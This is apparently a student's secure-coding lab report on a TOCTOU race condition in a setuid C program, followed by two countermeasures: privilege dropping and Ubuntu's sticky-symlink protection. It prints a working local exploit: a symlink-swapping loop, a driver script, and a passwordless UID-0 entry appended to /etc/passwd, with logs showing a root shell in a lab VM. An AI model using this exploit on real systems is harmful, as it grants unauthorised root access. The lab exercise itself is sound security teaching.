

## 21CY682 - Secure Coding Lab

### Race Condition

Initial Setup :

```
[01/06/2023 20:34] seed@ubuntu:~$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
[sudo] password for seed:
kernel.yama.protected_sticky_symlinks = 0
[01/06/2023 20:34] seed@ubuntu:~$
```

Vulnerable Program :

```
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main()
{
    char * fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;
    /* get user input */
    scanf("%50s", buffer);
    if(!access(fn, W_OK)){
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else printf("No permission \n");
}
```

access() will check if the real user ID has permission to write the file /tmp/XYZ. It appends a string of user input at the end of file /tmp/XYZ.

Setting the program as Set-Uid program.

```

[01/06/2023 20:37] seed@ubuntu:~$ vi vulp.c
[01/06/2023 20:37] seed@ubuntu:~$ gcc -o vulp vulp.c
[01/06/2023 20:38] seed@ubuntu:~$ sudo chown root vulp
[01/06/2023 20:38] seed@ubuntu:~$ sudo chmod 4755 vulp
[01/06/2023 20:38] seed@ubuntu:~$ ls -al vulp
-rwsr-xr-x 1 root seed 7403 Jan  6 20:38 vulp
[01/06/2023 20:38] seed@ubuntu:~$ █

```

## Task 1 : Choosing Our Target

To verify whether the magic password works or not, we manually (as a superuser) add the following entry to the end of the /etc/passwd file.

**test:U6aMy0wojraho:0:0:test:/root:/bin/bash**

```

[01/06/23]seed@VM:~$ su test
Password:
root@VM:/home/seed# █

```

We got the root access without giving any passwd. Thus , replicating same using race condition vulnerability.

## Task 2: Launching the Race Condition Attack

attack.c :

```

#include<unistd.h>

int main()
{
while(1)
{
unlink("/tmp/XYZ");
symlink("/dev/null", "/tmp/XYZ");
usleep(1000);
█
unlink("/tmp/XYZ");
symlink("/etc/passwd", "/tmp/XYZ");
usleep(1000);
}
return 0;
}

```

Race.sh :

```
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
./vulp < passwd_input
new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"
```

Running attack program in background and running the bash script , we will get a STOP message after some time that refers that passwd file has been changed.

```
[01/06/2023 20:45] seed@ubuntu:~$ ./attack&
[1] 2968
[01/06/2023 20:45] seed@ubuntu:~$ bash bash.sh
No permission
No permission
No permission
No permission
STOP... The passwd file has been changed
[01/06/2023 20:45] seed@ubuntu:~$
```

We can verify it by checking out the passwd file and getting through test user.

```
[01/06/2023 20:45] seed@ubuntu:~$ cat /etc/passwd | grep test
test:U6aMy0wojraho:0:0:test:/root:/bin/bash
[01/06/2023 20:47] seed@ubuntu:~$ su test
Password:
[01/06/2023 20:47] root@ubuntu:/home/seed# id
uid=0(root) gid=0(root) groups=0(root)
```

### Task 3: Applying the principle of least privilege

We can use setuid system call to temporarily disable the root privilege and the attack will fail as it will continuously show No permission in loop.

```
#include <unistd.h>
#include <string.h>

int main()
{
    char *fn = "/tmp/XYZ";
    char buffer[60];
    FILE *fp;
    uid_t real_uid = getuid();
    uid_t eff_uid = geteuid();


    /* get user input */
    scanf("%50s", buffer);
    setuid(real_uid);

    fp = fopen(fn, "a+");
    if (fp) // Instead of checking by access(), directly check if open() returns
    proper pointer. **Note that it should not be compared with -1 as the textbook s
    uggests.**
    {
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else
        printf("No permission \n");

    setuid(eff_uid);
}
```

If we run the attack and bash programs now , the attack would not possible as it will repeatedly shows No permission.

```
[01/07/2023 00:33] seed@ubuntu:~$ gcc -o vulp vulpleast.c  
[01/07/2023 00:33] seed@ubuntu:~$ ./attack&  
[13] 3817  
[01/07/2023 00:33] seed@ubuntu:~$ bash bash.sh  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission  
No permission
```



## Task 4 : Using Ubuntu's Built-in Scheme Countermeasure

```
[01/07/2023 00:25] seed@ubuntu:~$ sudo sysctl -w kernel.yama.protected_sticky_symlinks=1
[sudo] password for seed:
kernel.yama.protected_sticky_symlinks = 1
[01/07/2023 00:25] seed@ubuntu:~$ gcc -o vulp vulp.c
[01/07/2023 00:26] seed@ubuntu:~$ sudo chown root vulp
[01/07/2023 00:26] seed@ubuntu:~$ sudo chmod 4755 vulp
```

```
[01/07/2023 00:28] seed@ubuntu:~$ ./attack&
[8] 3425
[01/07/2023 00:28] seed@ubuntu:~$ bash bash.sh
bash.sh: line 9: 3430 Segmentation fault      (core dumped) ./vulp < passwd_inp
ut
bash.sh: line 9: 3433 Segmentation fault      (core dumped) ./vulp < passwd_inp
ut
No permission
```

We get segmentation fault.